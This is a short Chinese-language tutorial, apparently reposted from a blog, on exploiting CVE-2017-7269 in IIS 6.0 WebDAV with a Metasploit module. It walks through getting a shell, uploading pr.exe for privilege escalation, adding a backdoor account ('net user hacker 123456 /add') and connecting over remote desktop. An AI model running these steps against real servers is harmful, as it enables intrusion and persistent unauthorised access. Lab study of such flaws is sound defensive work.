简介
IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁
利用条件
Windows 2003 R2开启WebDAV服务的IIS6.0
环境搭建
漏洞利用
第一步：IIS开启WebDAV
第二步：Cp cve-2017-7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
第三步：使用模块,设置参数
第四步：开始攻击,获得一个shell，获得的是一个低权限用户
第五步：上传pr.exe到目标服务器上
第六步：pr.exe "net user hacker 123456 /add"
第七步：rdesktop 192.168.0.135 连接3389
（CVE-2017-7269 ） IIS6.0实现远程控制
原文：https://www.cnblogs.com/daiorz/p/12009783.html
